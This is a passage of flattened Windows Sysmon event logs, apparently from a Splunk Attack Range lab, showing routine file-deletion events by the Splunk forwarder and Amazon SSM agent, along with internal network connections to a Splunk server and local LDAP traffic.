Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=65B96816A8C2B87016106807D66ACE09,SHA256=FD427BD9CA5E1A7A485C62F185DA5EE89AC750F43F6C9AB719824305B68494D6,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000045967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:42.560{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59273-false10.0.1.12-8000- 23542300x800000000000000045972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:47.915{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=17E95FAEFD2D2BED46BEEC52C88A6A95,SHA256=F01395C890CE542C5982C6B4638FED3F60B7DC163CA2E5DFC1C4587AA17E6810,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014131Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:47.034{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=87F56D0D0E35A8D97EC68B7AF7ADF2A7,SHA256=07F27FE6C2E84F30B5B93BAADD940D90BA3A891DBA6AB0884E8AEF612368AAF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:48.984{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-041MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:48.920{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EFDF19007E1FE0A5A5A0B99E447616A0,SHA256=F5976A4806A09F869BC9A6E76028B94339785193AA4D48CA9BB35FBDCCD1EA08,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014132Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:48.049{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7058B0C35C9E5A51BAD634F136112E8F,SHA256=1129295F192BCDFFE0C327C388C620433F0D34C092690100252CFEA7EC40B867,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:48.002{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-040MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:49.922{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=32AF125D68631B393A151EBD0429EB78,SHA256=166E88748E49D4924842F190C0BA169D406BF0A91F622859BECF2D2289625CF6,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014134Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:47.426{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50132-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014133Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:49.112{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B0275DCF2E842DD65A09BCFBFB185DD7,SHA256=C146C38621EA6E943DDA5FD28C804DA87DD91F0CDC5B0837D275833816384D46,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:50.941{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DCDD2744E527507DE3E565CB8624E369,SHA256=BDC5326CD60C04F0EDA218541E2CD32497421B24861119B63EA892EC348398E9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014135Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:50.159{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A712CF4F46D9BBF02110DC898B2DF0EF,SHA256=F4AF50B2EF27E47FF7AE7517C44FA04FFF56686B23CCD6CCE781E79E713CB73A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014136Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:51.186{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=65DB5FA3E07CF06B5C76FD0C1F3F0CDF,SHA256=CAB2C366E411B3F33C30CFD21AD57EBD9DE365FC5D62A843A7EB3DA2DC192EA4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000045978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:48.549{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59274-false10.0.1.12-8000- 23542300x800000000000000014137Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:52.217{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A5FD5491652453470E8CE9B429BDAC4C,SHA256=66D70959480BEBB26FFE112B1E95FB7120182CE43D902224CFB38075820BF79A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:52.144{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F54A9D9C86F0130EE9D04DF0A69B1E25,SHA256=C941E320125AAD8AAA83E451E0DA18079C2F714A5E5425346DA015B4C5C7118F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014139Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:53.222{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=35C155C1E36ED6CD6D3E5C14790FA7AC,SHA256=BA43F272B4C3343C285FD24A62D3948DD0A26806274CA1D0C80D5F8E06BA41A5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:53.176{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E5A2080CB65C1909B85D4171971FB9AB,SHA256=A174010C1F203F0AD33441512E8C9AC5CB48DC1C47665CADBAA47AF23EDC4E08,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014138Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:53.176{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-031MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014143Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:54.693{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014142Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:53.393{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50133-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014141Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:54.238{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6FA1845C731013A6B3C2D1F0251D54ED,SHA256=99BB0D010A27FC00C3427EE0D4B7292E8CCB843E27C36C27FEFBD1C3FB952B32,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:54.191{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B76491DB9272D3E30C193EC3C98E5085,SHA256=B758BD0850DF121E4059800D1352039C78E78713D181F0650DDD85C8B32DA09B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014140Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:54.177{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-032MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014144Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:55.240{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AA024A0CAA2ADA78D013B14C60698FDE,SHA256=BF8AC262F3119C47233FABB026D7AD233B2A49F53937EB263EF720D113FDA13B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:55.269{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B4738E443876535F2469541E87003466,SHA256=A944E99715A0FBD6B552569DD5A6EF835D54DBBCD4B23084B24FE44DC373741F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:56.504{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=046905CDC6A41DE5FA2B7D653F9A2070,SHA256=E05CAC1A150A81F88FEC70D0BBD57B780BA9779BA67319AFF0DA75E92BFEBFCC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014146Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:55.005{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50134-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000014145Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:56.256{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AFC6E2E27F0E8240C5251ED6368CF821,SHA256=402B38BBA3861C4762A2155E7C66AEB600FFDF63EAEB03ED7963F72044C50A16,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:57.519{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=65422C2C7E213C2661BE180B804FBDAF,SHA256=906BA1FE93AF54CB524B82D08F5AAA34AFE0D9DE39174E175D7DBFDDD523B242,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014147Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:57.272{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9EA6125AA813F8B0EC49DEC07913BCC4,SHA256=7FD263F4640A615A64BC5C0BB9C2B21F4768DCD0A2E74914150867069A3B6925,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000045984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:54.321{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59275-false10.0.1.12-8000- 23542300x800000000000000014148Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:58.334{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5F4404DDDFEA5054E3428C81C8A15514,SHA256=756986116CA0297A9242F2E429A04AF0DEC6FF8EDB3F6589D614FB6C16D2E1B6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:58.535{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=162813C881E06DB7752BAA1C55DA8164,SHA256=406BC625A335459C5114209472A31F84E8302C2EBF7C9F3E9FBB785A343AF78E,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014150Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:58.491{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50135-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014149Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:59.350{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6FFE098963B4CD038D0558E11D1856DF,SHA256=3E288EBDD7CF9521C7714EBBFF48C682E92A11FC7CD11C5ECD9FE7BD9E150B19,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:59.550{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BC1E6FC22B0D08B6A3366756DD17685E,SHA256=C0667B22388798FE8CBD66D0172CCF9D0B393C72B02A613AB9DA95EFB31E6716,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:59.269{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3D3FDBE27BA529E7E9E0B97A23729ECE,SHA256=FDCBBDDAB59FBF42E703171E495DCE10AB574D9FB0745B43C31126FF9546AF74,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:59.269{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=376A8C68B5EDBAACC420C0259570407B,SHA256=B5A16B46D186CDE16CB71C3D57E0DCDB11401E1E9F70B15FDE60791AF9377F58,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000045992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:57.524{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59276-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000045991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:57.524{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59276-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000045990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:00.551{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5D28FF75A7475AF10D78E470537CEA07,SHA256=C48D011AFAFC3B67F2B16DEF232CF094B9B40A7B5241E52E93544ABC45C0102D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014151Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:00.381{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F1454B40D92C6EEC283CBB48CF701B11,SHA256=A14609F215873E862F608196C60208D7B906D5B13343ABAE60F960059A8E634A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000045994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:59.368{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59277-false10.0.1.12-8000- 23542300x800000000000000045993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:01.582{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BBED47516FD8123EAE2B65A65F976011,SHA256=EA503D11ADE2BF20B3BD7ABB1BD7B9E33796B1F72751139A84915BEB135C39F2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014152Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:01.397{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D0B93FDDFF7D6AD5089776B3C8FC58C9,SHA256=0F1197F64375945355E9C1B597CFAC4891CC0F03B8F174B46370C8020441D52F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:02.800{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4E7607C23C77A5C659E3301A56DE9F4D,SHA256=98A744D8E01DC01543BE92C310898017C9D23B4015A99EFDEF4EE1B93356F268,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014154Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:02.397{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3FE52594637A0E83841C52C56DC64A80,SHA256=9FC40C69E4AD705FFD68810540DF2209850F403447A148B2B4C1657A24401AED,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014153Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:02.209{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=88D7FE98EB46F2E956E29B6AA1E4F5AD,SHA256=4F50B8ABD3DF09D68DC1DA2416DDB2DA1A90892BCC25A57564316EC87D1895EF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:03.816{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5B32EFC35433850C729005CF8145DC5C,SHA256=9EE716FC37F1FB628FFD5C8C8879F6F5E26D5AFD7D8AC6BD6335FD3208E5D24F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014155Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:03.428{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=28FDDB7B18861AE53A687CE8A5D2EC0B,SHA256=74782908A54B8C1A15EBAE6261DF0D9AA0381FF4584A589DF27C7B581CE340AA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:04.910{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F75524195AA82A34AD48FB035F40AB94,SHA256=7E4CEDBF48A6BD6EDA9A86D5F2565AAAB89E98B4FF9988C7C864251D2A3AA0B3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014156Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:46:04.444{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=70672A6F97B99AC94D4217BA092895B6,SHA256=6A0F5D73C97A5B5A76D72D1B718328F9D9895E62AA464D2DEAEA059D66FDBEEC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:46:05.941{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program 